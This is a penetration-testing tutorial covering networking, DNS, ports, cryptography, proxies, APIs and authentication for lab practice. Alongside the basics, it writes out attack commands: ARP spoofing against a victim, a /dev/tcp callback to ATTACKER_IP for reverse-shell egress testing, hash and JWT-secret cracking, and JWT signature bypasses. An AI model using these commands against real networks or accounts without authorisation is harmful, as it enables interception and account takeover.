Phase 1: Foundations

🗺️ Why Foundations Matter — The Big Picture

You might be tempted to skip this phase and jump straight to hacking boxes. Don't. Every experienced pentester will tell you the same thing: the people who struggle the most are the ones who skipped the fundamentals.

Here's the reality — you cannot hack a network you don't understand. When you run Nmap and see "port 445/tcp open microsoft-ds," you need to know that's SMB, that it's a file-sharing protocol, that it runs on Windows, and that it has a history of critical vulnerabilities. When you see a web app returning a 302 redirect with a Set-Cookie header, you need to understand HTTP well enough to know what's happening and where to look for weaknesses.

This phase covers four pillars that everything else in this learning path builds on:

🌐 Networking — How Computers Talk to Each Other

What "networking fundamentals" actually means: It's the knowledge of how data moves between computers. When you type a URL into your browser, dozens of protocols kick into action — DNS resolves the domain to an IP, TCP establishes a connection, TLS encrypts the channel, HTTP carries your request. As a pentester, you'll exploit weaknesses at every one of these layers.

You'll learn about the OSI model — a 7-layer framework that describes how network communication works. You don't need to memorize every layer (nobody cares about the Presentation layer in practice), but you DO need to understand the layers that matter for pentesting: how IP routing works (Layer 3), how TCP connections are established (Layer 4), and how application protocols like HTTP and DNS function (Layer 7). When you understand these layers, tools like Nmap, Wireshark, and Burp Suite stop being magic and start making sense.

🌍 Web Technologies — How the Internet Actually Works

What "web technologies" means in practical terms: When you open a website, your browser sends an HTTP request to a server. That request includes a method (GET, POST), headers (cookies, user-agent, host), and sometimes a body (form data, JSON). The server processes it and sends back a response with a status code (200 OK, 404 Not Found, 500 Error), its own headers, and the page content.

Understanding this request/response cycle is critical because most pentesting starts with web applications. SQL injection, XSS, SSRF, IDOR — all of these web vulnerabilities exist in how the server processes your HTTP requests. If you don't understand HTTP, you can't exploit web apps. Period.

🐧 Linux — Your Operating System for Everything

Why Linux matters: Three reasons. First, most servers on the internet run Linux — the targets you're hacking are probably Linux boxes. Second, Kali (your pentesting OS) IS Linux — you need to be comfortable navigating it. Third, nearly every pentesting tool is built for Linux — from Nmap to Burp Suite to Metasploit to custom Python scripts.

You don't need to be a Linux sysadmin, but you absolutely need to be comfortable with the command line: navigating directories, reading files, piping commands together, managing processes, and understanding file permissions. If you can't do grep -r "password" /var/www/ without thinking, you're not ready for pentesting.

🔑 Cryptography — The Locks You'll Be Picking

Crypto is everywhere in security — passwords are hashed, connections are encrypted, tokens are signed. You'll encounter MD5 hashes to crack, TLS certificates to inspect, JWTs to forge, and Kerberos tickets to abuse. You don't need a math degree, but you need to understand the difference between encryption (reversible) and hashing (one-way), and how common algorithms work at a high level.

🎯 The goal of this phase: By the end of Phase 1, you should be able to read an Nmap scan and understand every line of output. You should be able to intercept an HTTP request in Burp Suite and know exactly what you're looking at. You should feel at home in a Linux terminal. These skills are the foundation that Phases 2–6 are built on. Take the time to learn them well.

🌐 Networking Fundamentals

Everything in pentesting travels over a network. You need to understand the basics before anything else makes sense.

The OSI Model — Think in Layers

Every network communication happens in layers. When you send a web request, it travels through seven layers — from your application (Layer 7) down to electrical signals on a wire (Layer 1). As a pentester, you'll mostly work with:

• Layer 7 (Application) — HTTP, DNS, FTP, SSH. This is where web exploits live.
• Layer 4 (Transport) — TCP and UDP. Understanding TCP's three-way handshake is essential for port scanning.
• Layer 3 (Network) — IP addresses and routing. How packets find their way to targets.
• Layer 2 (Data Link) — MAC addresses and ARP. Critical for MITM attacks and network pivoting.
• Layer 1 (Physical) — Cables, Wi-Fi signals. Relevant for physical pentests and wireless attacks.

OSI Model — Visual Reference

Here's the full OSI model mapped to protocols, pentest tools, and common attacks at each layer. Bookmark this — you'll reference it constantly:

┌─────────────────────────────────────────────────────────────────────────────────────┐
│                          THE OSI MODEL — PENTESTER'S VIEW                          │
├───────┬───────────────┬──────────────────┬───────────────────┬──────────────────────┤
│ LAYER │  NAME         │  PROTOCOLS       │  PENTEST TOOLS    │  EXAMPLE ATTACKS     │
├───────┼───────────────┼──────────────────┼───────────────────┼──────────────────────┤
│   7   │ Application   │ HTTP, HTTPS,     │ Burp Suite,       │ SQLi, XSS, SSRF,    │
│       │               │ DNS, FTP, SSH,   │ ffuf, Nikto,      │ Command Injection,  │
│       │               │ SMTP, SNMP       │ sqlmap, Gobuster  │ Directory Traversal │
├───────┼───────────────┼──────────────────┼───────────────────┼──────────────────────┤
│   6   │ Presentation  │ SSL/TLS,         │ testssl.sh,       │ SSL stripping,      │
│       │               │ MIME, ASCII,     │ sslyze,           │ Downgrade attacks,  │
│       │               │ JPEG, encryption │ openssl s_client  │ POODLE, BEAST       │
├───────┼───────────────┼──────────────────┼───────────────────┼──────────────────────┤
│   5   │ Session       │ NetBIOS, RPC,    │ rpcclient, enum4  │ Session hijacking,  │
│       │               │ SMB sessions,    │ linux, smbclient, │ Pass-the-hash,      │
│       │               │ SOCKS            │ proxychains       │ Token replay        │
├───────┼───────────────┼──────────────────┼───────────────────┼──────────────────────┤
│   4   │ Transport     │ TCP, UDP         │ Nmap (-sS/-sU),   │ SYN flood (DoS),    │
│       │               │                  │ hping3, masscan   │ Port scanning,      │
│       │               │                  │                   │ UDP amplification   │
├───────┼───────────────┼──────────────────┼───────────────────┼──────────────────────┤
│   3   │ Network       │ IP, ICMP,        │ Nmap (-sn), ping, │ IP spoofing,        │
│       │               │ IGMP, IPsec      │ traceroute,       │ Route manipulation, │
│       │               │                  │ Scapy             │ ICMP tunneling      │
├───────┼───────────────┼──────────────────┼───────────────────┼──────────────────────┤
│   2   │ Data Link     │ Ethernet, ARP,   │ arpspoof,         │ ARP poisoning,      │
│       │               │ 802.11 (Wi-Fi),  │ bettercap,        │ MAC flooding,       │
│       │               │ PPP, VLAN        │ macchanger,aircrack│ VLAN hopping       │
├───────┼───────────────┼──────────────────┼───────────────────┼──────────────────────┤
│   1   │ Physical      │ Ethernet cables, │ Wi-Fi adapters,   │ Evil twin AP,       │
│       │               │ Wi-Fi radio,     │ HackRF, Flipper   │ Cable tapping,      │
│       │               │ Fiber, USB       │ Zero, USB Rubber  │ Rogue devices,      │
│       │               │                  │ Ducky, LAN Turtle │ Keystroke injection │
└───────┴───────────────┴──────────────────┴───────────────────┴──────────────────────┘

  Data flows DOWN the stack when sending (encapsulation):
    Application Data → [TCP Header + Data] → [IP Header + TCP + Data] → [Frame + IP + TCP + Data]

  Data flows UP the stack when receiving (decapsulation):
    [Frame] → [IP Packet] → [TCP Segment] → [Application Data]

💡 Pro tip: In practice, most pentesting happens at Layers 7, 4, and 3. But don't ignore Layer 2 — if you get on the same LAN (internal pentest, compromised host), ARP spoofing and VLAN attacks are devastating. And Layer 1 matters for physical pentests — dropping a rogue device on a network is a real attack vector.

TCP vs UDP — Deep Dive

TCP (Transmission Control Protocol) is connection-oriented. Before sending data, two machines perform a "three-way handshake": SYN → SYN-ACK → ACK. This is reliable but slower. Most services (HTTP, SSH, FTP) use TCP.

UDP (User Datagram Protocol) is connectionless — it just sends packets without confirming receipt. Faster but unreliable. DNS queries, SNMP, TFTP, and streaming protocols use UDP.

Why this matters: Nmap's default SYN scan exploits the TCP handshake — it sends SYN, waits for SYN-ACK (port open) or RST (port closed), then never completes the handshake. This is why it's called a "stealth" scan.

# TCP three-way handshake
Client → SYN          → Server    (Hey, can we talk?)
Client ← SYN-ACK      ← Server    (Sure, let's talk.)
Client → ACK          → Server    (Great, we're connected.)

# Nmap SYN scan (half-open)
Client → SYN          → Server    (Hey, can we talk?)
Client ← SYN-ACK      ← Server    (Sure!)
Client → RST          → Server    (Never mind. *walks away*)

TCP Flags — What They Mean

TCP packets carry flags that control the connection state. Understanding these is essential for reading packet captures and understanding firewall rules:

• SYN — "I want to start a connection." First step in the handshake.
• ACK — "I acknowledge your data." Present in nearly every packet after the handshake.
• FIN — "I'm done sending, let's close gracefully."
• RST — "Something's wrong, abort the connection immediately." Sent when a port is closed.
• PSH — "Process this data immediately, don't buffer it." Common in interactive sessions.
• URG — "This data is urgent, process it first." Rarely used in practice.

# Nmap uses flag combinations for different scan types:
nmap -sS target    # SYN scan (default, sends SYN, reads response)
nmap -sA target    # ACK scan (firewall detection — filtered vs unfiltered)
nmap -sF target    # FIN scan (stealthy — some firewalls only look for SYN)
nmap -sX target    # Xmas scan (FIN+PSH+URG — lights up like a Christmas tree)
nmap -sN target    # NULL scan (no flags set — stealthy against some stacks)

ARP — How Devices Find Each Other on a LAN

ARP (Address Resolution Protocol) maps IP addresses to MAC addresses on a local network. When your machine wants to talk to 10.10.10.5, it broadcasts "Who has 10.10.10.5?" and the target replies with its MAC address.

Why pentesters care: ARP has no authentication. Anyone on the network can say "I'm 10.10.10.5" — this is ARP spoofing/poisoning, the foundation of man-in-the-middle attacks on local networks.

# View your ARP cache
arp -a

# ARP spoofing with arpspoof (dsniff package)
# Tell the victim that YOU are the gateway:
sudo arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP
# Tell the gateway that YOU are the victim:
sudo arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP
# Now all traffic flows through you — inspect with Wireshark

# Better tool: bettercap
sudo bettercap -iface eth0
> net.probe on
> set arp.spoof.targets VICTIM_IP
> arp.spoof on
> net.sniff on

ICMP — Ping and Traceroute

ICMP (Internet Control Message Protocol) is used for network diagnostics. The most common uses:

• Echo Request/Reply (ping): "Are you alive?" — the simplest connectivity test
• Destination Unreachable: "I can't reach that port/host" — tells you about firewalls
• Time Exceeded: Used by traceroute to map network hops

# Ping sweep — which hosts are alive?
nmap -sn 10.10.10.0/24

# Traceroute — map the path to target
traceroute 10.10.10.5

# Some boxes block ICMP — no ping response doesn't mean it's down!
nmap -Pn target    # Skip host discovery, scan anyway

NAT and Firewalls — Why You Can't Always Connect Directly

NAT (Network Address Translation) lets multiple devices share one public IP. Your home router does this — all devices appear as one IP externally. In pentesting labs, understanding NAT helps you troubleshoot VPN connectivity and understand why reverse shells need your tun0 IP, not your LAN IP.

Firewalls filter traffic based on rules. Common behaviors you'll encounter:

• Filtered ports in nmap — a firewall is silently dropping packets (no RST response)
• Egress filtering — the target can receive connections but can't connect back to you (reverse shells fail, try bind shells)
• Whitelisted ports only — only ports 80/443 allowed outbound (tunnel your shell through HTTP)

# Testing egress filtering from a compromised box:
# Can the target reach you?
# On your machine:
nc -lvnp 80        # Listen on port 80
# On the target:
bash -c 'echo test > /dev/tcp/ATTACKER_IP/80'   # Try common ports: 80, 443, 53

# If only 80/443 works outbound, use:
# - Reverse shell over port 443
# - HTTP tunneling (chisel, ligolo-ng)
# - DNS tunneling (iodine, dnscat2)

IP Addresses and Subnets

Every device on a network has an IP address. In pentesting, you'll deal with:

• Private ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 — internal networks
• Localhost: 127.0.0.1 — the machine talking to itself
• CIDR notation: 10.10.10.0/24 means 256 addresses (10.10.10.0–10.10.10.255)

HTB machines typically live on 10.10.10.0/24 or 10.129.0.0/16. Your VPN tunnel gets an address on 10.10.14.0/23 or similar.

Subnet Cheat Sheet

You'll encounter CIDR notation constantly in pentesting. Here's a quick reference so you never have to calculate subnet sizes on the fly:

┌────────────┬──────────────────────────────┬────────────────┬──────────────┐
│ CIDR       │ Subnet Mask                  │ Total Addrs    │ Usable Hosts │
├────────────┼──────────────────────────────┼────────────────┼──────────────┤
│ /32        │ 255.255.255.255              │ 1              │ 1 (single)   │
│ /31        │ 255.255.255.254              │ 2              │ 2 (P2P link) │
│ /30        │ 255.255.255.252              │ 4              │ 2            │
│ /29        │ 255.255.255.248              │ 8              │ 6            │
│ /28        │ 255.255.255.240              │ 16             │ 14           │
│ /27        │ 255.255.255.224              │ 32             │ 30           │
│ /26        │ 255.255.255.192              │ 64             │ 62           │
│ /25        │ 255.255.255.128              │ 128            │ 126          │
│ /24        │ 255.255.255.0               │ 256            │ 254  ← MOST COMMON  │
│ /23        │ 255.255.254.0               │ 512            │ 510          │
│ /22        │ 255.255.252.0               │ 1,024          │ 1,022        │
│ /21        │ 255.255.248.0               │ 2,048          │ 2,046        │
│ /20        │ 255.255.240.0               │ 4,096          │ 4,094        │
│ /16        │ 255.255.0.0                 │ 65,536         │ 65,534       │
│ /8         │ 255.0.0.0                   │ 16,777,216     │ 16,777,214   │
└────────────┴──────────────────────────────┴────────────────┴──────────────┘

Quick math: Total addresses = 2^(32 - CIDR)
  /24 = 2^8  = 256
  /16 = 2^16 = 65,536
  /8  = 2^24 = 16,777,216

💡 Pro tip: In CTF/HTB contexts, /24 is the most common. But in real engagements, companies often use /16 or /8 internal networks. Scanning a /16 takes 256× longer than a /24 — plan your scans accordingly and use tools like masscan for speed on large ranges.

Common Ports — Know These by Heart

When you see an Nmap scan, you need to instantly know what service runs on each port and what attack vectors it opens up. Here's your comprehensive reference:

🌐 Web Services

• 80 (HTTP) — Unencrypted web traffic. Most common starting point for pentesting. Pentesters love it: directory brute-forcing, SQL injection, XSS — the works.
• 443 (HTTPS) — Encrypted web traffic. Same attacks as HTTP, but the traffic is encrypted in transit. Check the TLS certificate for hostnames and subdomain hints.
• 8080 / 8443 (Alt HTTP/S) — Alternative web ports. Often used by development servers, proxies (Tomcat defaults to 8080), or secondary web apps that admins forgot about.

🖥️ Remote Access

• 22 (SSH) — Secure shell. Encrypted remote login. Pentesters target it for brute-force attacks, key-based auth bypass, and it's your best friend when you get credentials.
• 23 (Telnet) — Unencrypted remote login. Everything sent in plaintext including passwords. If you find Telnet open, it's Christmas morning.
• 3389 (RDP) — Remote Desktop Protocol (Windows). GUI access to Windows boxes. Vulnerable to BlueKeep (CVE-2019-0708). Default on many Windows servers.
• 5900 (VNC) — Virtual Network Computing. Remote desktop access, often with weak or no authentication. Sometimes the password is stored in plaintext.

📁 File Transfer

• 21 (FTP) — File Transfer Protocol. Often allows anonymous login. Credentials sent in plaintext. Check for anonymous access and writable directories.
• 69 (TFTP) — Trivial FTP (UDP). No authentication at all. Used for booting devices. If open, you can often download config files directly.
• 445 (SMB) — Server Message Block. Windows file sharing. Ground zero for EternalBlue, relay attacks, and credential harvesting. Always enumerate shares.
• 2049 (NFS) — Network File System. Unix/Linux file sharing. Misconfigured exports can let anyone mount and read/write remote filesystems.

📧 Mail

• 25 (SMTP) — Simple Mail Transfer Protocol. Sending email. Pentesters use it for user enumeration (VRFY/EXPN commands) and phishing relay.
• 110 (POP3) — Post Office Protocol. Receiving email (downloads and deletes from server). Credentials in plaintext.
• 143 (IMAP) — Internet Message Access Protocol. Receiving email (syncs with server). More features than POP3, same credential risk.
• 587 (SMTP Submission) — Authenticated SMTP for sending mail. Often requires credentials — brute-forceable.
• 993 / 995 (IMAPS / POP3S) — Encrypted versions of IMAP and POP3. More secure but still targets for credential attacks.

🗄️ Databases

• 3306 (MySQL) — The most popular open-source database. Default creds, SQL injection via web apps, and UDF for code execution.
• 5432 (PostgreSQL) — Advanced open-source database. Supports command execution via COPY TO/FROM PROGRAM — instant RCE if you get access.
• 1433 (MSSQL) — Microsoft SQL Server. xp_cmdshell gives direct OS command execution. Common in Active Directory environments.
• 1521 (Oracle) — Oracle Database. Complex but powerful. TNS listener attacks and default SIDs are common entry points.
• 27017 (MongoDB) — NoSQL database. Historically shipped with no authentication by default. Often exposed to the internet with zero access controls.
• 6379 (Redis) — In-memory data store. No authentication by default. Can write SSH keys or web shells to the filesystem for RCE.

📂 Directory & Name Services

• 389 (LDAP) — Lightweight Directory Access Protocol. The backbone of Active Directory. Anonymous binds can leak usernames, groups, and password policies.
• 636 (LDAPS) — LDAP over SSL. Same data, encrypted connection. Still vulnerable to misconfigured access controls.
• 88 (Kerberos) — Authentication protocol for AD. Target for AS-REP Roasting, Kerberoasting, and Golden/Silver Ticket attacks.
• 53 (DNS) — Domain Name System. Zone transfers leak all records. DNS tunneling exfiltrates data. Always enumerate.

🔧 Other Important Ports

• 111 (rpcbind) — Maps RPC services to ports. Enumerating it reveals what services are running (NFS, NIS, etc.).
• 161 / 162 (SNMP) — Simple Network Management Protocol. Default community strings ("public", "private") leak system info, running processes, and network configs.
• 873 (rsync) — File synchronization. Sometimes allows anonymous access to sensitive directories.
• 5985 / 5986 (WinRM) — Windows Remote Management (HTTP/HTTPS). If you have valid creds, instant PowerShell access via evil-winrm.

🎯 Remember: Nmap gives you port numbers. Your brain turns them into attack vectors. Memorize the top 20 ports and you'll read scan results like a native language. Use our Common Ports Cheat Sheet until they're second nature.

DNS — The Internet's Phone Book

DNS (Domain Name System) translates human-readable names (google.com) to IP addresses (142.250.80.14). In pentesting, DNS matters a lot because:

• Virtual hosts: Multiple websites share one IP, distinguished by hostname
• Subdomain enumeration can reveal hidden services
• DNS zone transfers (AXFR) can leak entire domain records if misconfigured
• The /etc/hosts file overrides DNS — essential for HTB machines
• DNS record types matter: A (IPv4), AAAA (IPv6), CNAME (alias), MX (mail), TXT (SPF, DKIM, verification), NS (nameservers), SRV (service discovery)

# Common DNS enumeration commands
dig target.htb ANY @10.10.10.5          # Query all record types
dig axfr target.htb @10.10.10.5         # Attempt zone transfer
nslookup -type=any target.htb 10.10.10.5
host -l target.htb 10.10.10.5           # Another zone transfer attempt

# Add to /etc/hosts for HTB
echo "10.10.10.5  target.htb" | sudo tee -a /etc/hosts

DNS Record Types — Deep Dive

DNS isn't just A records. Each record type serves a different purpose, and pentesters can extract valuable intel from all of them:

• A (Address) — Maps a domain to an IPv4 address. The most basic record. Multiple A records = load balancing. Pentesters check for internal IPs accidentally exposed in public DNS.
• AAAA (IPv6 Address) — Same as A but for IPv6. Often overlooked by admins — the IPv6 interface might have different firewall rules or services exposed.
• CNAME (Canonical Name) — An alias pointing to another domain. www.example.com → example.com. Dangling CNAMEs (pointing to decommissioned services) enable subdomain takeover attacks.
• MX (Mail Exchanger) — Specifies mail servers for the domain. Reveals mail infrastructure, useful for phishing attacks and understanding the target's email security (SPF/DKIM/DMARC).
• NS (Name Server) — Identifies authoritative DNS servers. Targeting NS servers directly can reveal zone information. Misconfigured NS records can enable DNS hijacking.
• TXT (Text) — Arbitrary text data. Contains SPF records (email auth), DKIM keys, domain verification tokens, and sometimes sensitive info admins stuffed in there. Always check TXT records.
• SRV (Service) — Specifies hostname and port for specific services. _ldap._tcp.domain.com reveals AD domain controllers. _sip._tcp reveals VoIP servers. Gold for service discovery.
• SOA (Start of Authority) — Contains zone admin info, serial number, and refresh intervals. Reveals the primary DNS server and admin email (which might be a real person's address).
• PTR (Pointer) — Reverse DNS — maps IP addresses back to hostnames. Useful for discovering what domains are hosted on a specific IP. Run reverse lookups on every IP you find.

# Enumerate ALL record types for a domain
dig target.htb ANY @10.10.10.5

# Query specific record types
dig target.htb A                    # IPv4 addresses
dig target.htb AAAA                 # IPv6 addresses
dig target.htb MX                   # Mail servers
dig target.htb TXT                  # SPF, DKIM, verification tokens
dig target.htb NS                   # Name servers
dig target.htb SRV _ldap._tcp.target.htb  # Service discovery (AD DCs)

# Reverse DNS lookup
dig -x 10.10.10.5                   # What hostname is at this IP?
nmap -sL 10.10.10.0/24              # Reverse DNS for an entire subnet

# Brute-force subdomains via DNS
gobuster dns -d target.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
dnsenum target.htb                  # Automated DNS enumeration
fierce --domain target.htb          # DNS reconnaissance tool

💡 Pro tip: TXT records are a goldmine. Companies use them for domain verification (Google, Microsoft 365, AWS), SPF email policies, and DKIM keys. Sometimes you'll find internal hostnames, IP ranges, or even configuration details accidentally published as TXT records. dig target.htb TXT should be one of your first recon commands.

🔑 Cryptography Basics

You don't need to be a mathematician, but you absolutely need to understand the building blocks. Crypto shows up everywhere — passwords, HTTPS, tokens, file encryption, AD Kerberos tickets.

Symmetric vs Asymmetric Encryption

• Symmetric (one key): Same key encrypts and decrypts. Fast. Used for bulk data encryption. Examples: AES, DES, ChaCha20. Think of it as a padlock where both people have the same key.
• Asymmetric (key pair): Public key encrypts, private key decrypts (or vice versa for signing). Slower, but solves the key distribution problem. Examples: RSA, ECDSA, Ed25519. Think of it as a mailbox — anyone can put mail in (public key), only you can take it out (private key).

# Generating SSH keys (asymmetric — Ed25519)
ssh-keygen -t ed25519 -C "pentester@kali"
# Creates: ~/.ssh/id_ed25519 (private) and ~/.ssh/id_ed25519.pub (public)

# Encrypting a file with symmetric AES
openssl enc -aes-256-cbc -salt -in secret.txt -out secret.enc
# Decrypting
openssl enc -d -aes-256-cbc -in secret.enc -out secret.txt

# RSA key operations (you'll see these in CTFs)
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem

Hashing — One-Way Functions

A hash function takes input of any length and produces a fixed-length output. It's a one-way function — you can't reverse it to get the original input. Common uses: password storage, file integrity, digital signatures.

• MD5 — 128-bit, fast, broken (collisions found). Still seen everywhere in CTFs.
• SHA-1 — 160-bit, deprecated, collisions demonstrated by Google.
• SHA-256 — 256-bit, currently secure, used in TLS and blockchain.
• bcrypt/scrypt/argon2 — Password-specific hashes, intentionally slow. The gold standard for password storage.
• NTLM — Windows password hash (MD4-based). Crackable. Central to AD attacks.

# Identify hash types
hash-identifier                          # Interactive tool
hashid 'e99a18c428cb38d5f260853678922e03'  # Command line

# Common hash formats you'll encounter:
# MD5:    e99a18c428cb38d5f260853678922e03   (32 hex chars)
# SHA-1:  a94a8fe5ccb19ba61c4c0873d391e987982fbbd3   (40 hex chars)
# SHA-256: 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
# NTLM:   a4f49c406510bdcab6824ee7c30fd852   (32 hex chars, no salt)
# bcrypt:  $2b$12$LJ3m4ys3Lg2VBe5E5dUGN.S7GkW9bDKjPvCmYkE/8kN9JxKm6QfKy

# Cracking with hashcat (see our guide!)
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt    # MD5
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt # NTLM

The TLS Handshake — How HTTPS Works

Every time your browser connects to an HTTPS site, a TLS handshake happens. Understanding this helps you with certificate-based attacks, MITM, and understanding Burp Suite's proxy:

1. Client Hello: Browser says "I support these cipher suites and TLS versions"
2. Server Hello: Server picks a cipher suite, sends its certificate (contains public key)
3. Certificate Verification: Browser checks if the cert is signed by a trusted CA
4. Key Exchange: Client and server agree on a shared symmetric key (using Diffie-Hellman or RSA)
5. Encrypted Session: All subsequent data is encrypted with the symmetric key

💡 Why Burp works: Burp Suite acts as a MITM proxy. It presents its own certificate to your browser (which you've trusted by installing Burp's CA cert) and makes a separate TLS connection to the server. It decrypts, inspects, and re-encrypts traffic in the middle. This is exactly what a real attacker does — but they need to trick the victim into trusting their certificate.

Public Key Infrastructure (PKI) — The Trust System Behind HTTPS

When your browser says a site is "secure," it's not magic — there's a chain of trust built on PKI. Understanding this helps you recognize certificate attacks, forge certs in testing, and understand why Burp needs a custom CA installed.

┌─────────────────────────────────────────────────────────────────────┐
│                    CERTIFICATE CHAIN OF TRUST                       │
│                                                                     │
│  Root CA (DigiCert, Let's Encrypt, etc.)                           │
│  ├── Stored in your OS/browser trust store                         │
│  ├── Self-signed — trusts itself                                    │
│  │                                                                  │
│  └──► Intermediate CA                                               │
│       ├── Signed by Root CA                                         │
│       ├── Issues certificates to websites                           │
│       │                                                             │
│       └──► Server Certificate (e.g., google.com)                   │
│            ├── Signed by Intermediate CA                             │
│            ├── Contains: domain name, public key, expiry date       │
│            └── Your browser verifies this chain back to Root CA     │
│                                                                     │
│  If ANY link in the chain is untrusted → browser shows warning ⚠️   │
└─────────────────────────────────────────────────────────────────────┘

Key concepts for pentesters:

• Certificate Authority (CA): An organization trusted to issue digital certificates. Root CAs are pre-installed in every OS and browser. Examples: DigiCert, Let's Encrypt (free), Comodo, GlobalSign.
• Self-signed certificates: Not signed by a CA — the server vouches for itself. Common in internal networks and dev environments. Browsers show a scary warning, but the encryption still works. Pentesters see these a lot on internal targets.
• Certificate Transparency (CT): Public append-only logs where publicly trusted CAs must log TLS certificates they issue (enforced by major browser trust programs like Apple and Chrome). You can query these at crt.sh to discover subdomains — if a cert was issued for staging.target.com, it'll show up in CT logs even if the subdomain isn't in DNS.
• Certificate pinning: An app hardcodes which certificate(s) it trusts, bypassing the CA system entirely. Common in mobile apps. Makes MITM harder but can be bypassed with tools like Frida.

# Check a site's certificate chain
openssl s_client -connect example.com:443 -showcerts

# View certificate details
echo | openssl s_client -connect example.com:443 2>/dev/null | openssl x509 -text -noout

# Search Certificate Transparency logs for subdomains
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq '.[].name_value' | sort -u

Proxy Types — Forward, Reverse, and SOCKS

Proxies sit between a client and server, intercepting or forwarding traffic. They come up everywhere in pentesting — from Burp Suite to pivoting through compromised hosts.

┌─────────────────────────────────────────────────────────────────────┐
│                      PROXY TYPES                                    │
│                                                                     │
│  FORWARD PROXY  (client-side)                                       │
│  ┌────────┐     ┌───────┐     ┌────────┐                           │
│  │ Client ├────►│ Proxy ├────►│ Server │                           │
│  └────────┘     └───────┘     └────────┘                           │
│  Client knows about the proxy and sends traffic through it.         │
│  Examples: Burp Suite, corporate web filters, Squid                 │
│  Pentesting: Intercept and modify requests before they hit target   │
│                                                                     │
│  REVERSE PROXY  (server-side)                                       │
│  ┌────────┐     ┌───────┐     ┌────────┐                           │
│  │ Client ├────►│ Proxy ├────►│ Server │                           │
│  └────────┘     └───────┘     └────────┘                           │
│  Client doesn't know — it thinks the proxy IS the server.          │
│  Examples: Cloudflare, nginx, HAProxy, AWS ALB                      │
│  Pentesting: Try to bypass the proxy to reach origin directly       │
│                                                                     │
│  SOCKS PROXY  (general-purpose tunnel)                              │
│  ┌────────┐     ┌───────┐     ┌──────────┐                         │
│  │ Client ├────►│ SOCKS ├────►│ Any Port │                         │
│  └────────┘     └───────┘     └──────────┘                         │
│  Works at Layer 5 — routes any TCP (and some UDP) traffic.          │
│  Not limited to HTTP like forward proxies.                          │
│  Examples: SSH -D (dynamic port forward), Tor, proxychains          │
│  Pentesting: Pivot through compromised host to reach internal nets  │
└─────────────────────────────────────────────────────────────────────┘

# Create a SOCKS proxy through SSH (common pivoting technique)
ssh -D 9050 user@compromised-host

# Route tools through the SOCKS proxy
proxychains nmap -sT 10.10.10.0/24

# Burp Suite is a forward proxy — your browser sends traffic through it
# Default: 127.0.0.1:8080

🎯 Why this matters: In real engagements, you'll chain proxies constantly. Compromise an external server → SSH tunnel through it → SOCKS proxy to scan internal networks → find the domain controller. Every hop uses a different proxy type. Phase 5 (Pivoting) covers this in depth.

API Fundamentals — REST, JSON, and What Pentesters Target

Modern web apps are built on APIs. The frontend you see in the browser is often just a pretty wrapper around API calls that do the actual work. As a pentester, you attack the API, not the UI.

• REST API: The most common type. Uses HTTP methods (GET, POST, PUT, DELETE) on URL endpoints. Stateless — each request is independent. Example: GET /api/users/123 retrieves user 123's data.
• JSON (JavaScript Object Notation): The standard data format for API responses. Lightweight, human-readable. Example: {"id": 123, "name": "admin", "role": "superuser"}
• GraphQL: An alternative to REST. Single endpoint (/graphql), clients specify exactly what data they want via queries. Powerful but frequently misconfigured — introspection queries can leak the entire schema.
• SOAP: Older XML-based protocol. Still found in enterprise/government systems. Heavier than REST, uses XML instead of JSON. Sometimes has XXE vulnerabilities due to XML parsing.

# Test a REST API endpoint
curl -s https://api.target.com/users/1 | jq .

# Common API pentesting checks
GET  /api/users/1    → Does it return data? (IDOR: try /api/users/2)
POST /api/login      → Brute force? Rate limited?
GET  /api/admin      → 403 or 401? Try header bypasses
GET  /api/v1/debug   → Old API versions often have debug endpoints

# GraphQL introspection (if enabled — often is)
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{__schema{types{name,fields{name}}}}"}'

💡 API testing tip: When you find an API, always check for: IDOR (change IDs in URLs), missing authentication (remove auth headers), mass assignment (add extra fields in POST/PUT requests), and verbose error messages (they leak internals). Our API Security Testing guide covers this in detail.

🔐 Understanding Authentication

Authentication is verifying identity — "prove you are who you claim to be." Almost every attack eventually targets authentication in some way.

Password-Based Authentication

Still the most common. Vulnerabilities everywhere:

• Weak passwords: Users choose "Password123!" — meets complexity requirements, trivially cracked
• Password reuse: Same password on multiple sites. One breach exposes everything.
• Plaintext storage: Some apps store passwords without hashing (yes, still in 2026)
• Brute force: Try every combination — rate limiting and lockout policies are the defense
• Credential stuffing: Use leaked credential databases against other services

Token-Based Authentication

After login, the server gives you a token (JWT, session cookie, API key) that proves you're authenticated:

• Session cookies: Random string stored in browser, mapped to your session on the server. Steal the cookie = steal the session.
• JWTs (JSON Web Tokens): Self-contained tokens with a header, payload, and signature. Common vulnerabilities: algorithm confusion (changing RS256 to HS256), "none" algorithm, weak signing keys.
• API keys: Static strings for service authentication. Often hardcoded in source code, Git repos, or JavaScript files.

# JWT structure (three base64 sections separated by dots):
# Header.Payload.Signature

# Decode a JWT
echo "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.xxx" | cut -d. -f2 | base64 -d
# Output: {"user":"admin"}

# JWT attacks:
# 1. Change "alg" to "none" → remove signature → bypass verification
# 2. Brute-force the HMAC secret: hashcat -m 16500 jwt.txt wordlist.txt
# 3. Confuse RS256 (asymmetric) with HS256 (symmetric) — sign with public key

Certificate-Based Authentication

Instead of passwords, use X.509 certificates (common in enterprise environments, VPNs, and mutual TLS):

• Client certificates: Prove client identity to server. Used in VPNs and secure APIs.
• Mutual TLS (mTLS): Both sides present certificates. Common in microservices.
• AD Certificate Services (ADCS): Misconfigured certificate templates are a huge attack surface. See: Certipy, ESC1-ESC8 attack chains.

Multi-Factor Authentication (MFA)

Combines something you know (password) + something you have (phone/token) + something you are (biometrics). Attacks against MFA:

• MFA fatigue/bombing: Send repeated push notifications until user approves out of annoyance
• SIM swapping: Take over someone's phone number to receive their SMS codes
• Phishing with real-time proxy: Tools like Evilginx2 relay the MFA token in real-time
• Token theft: Steal the authenticated session cookie after MFA is complete

🐧 Linux Command Line

Every pentesting tool runs on Linux. If you're not comfortable in a terminal, start here.

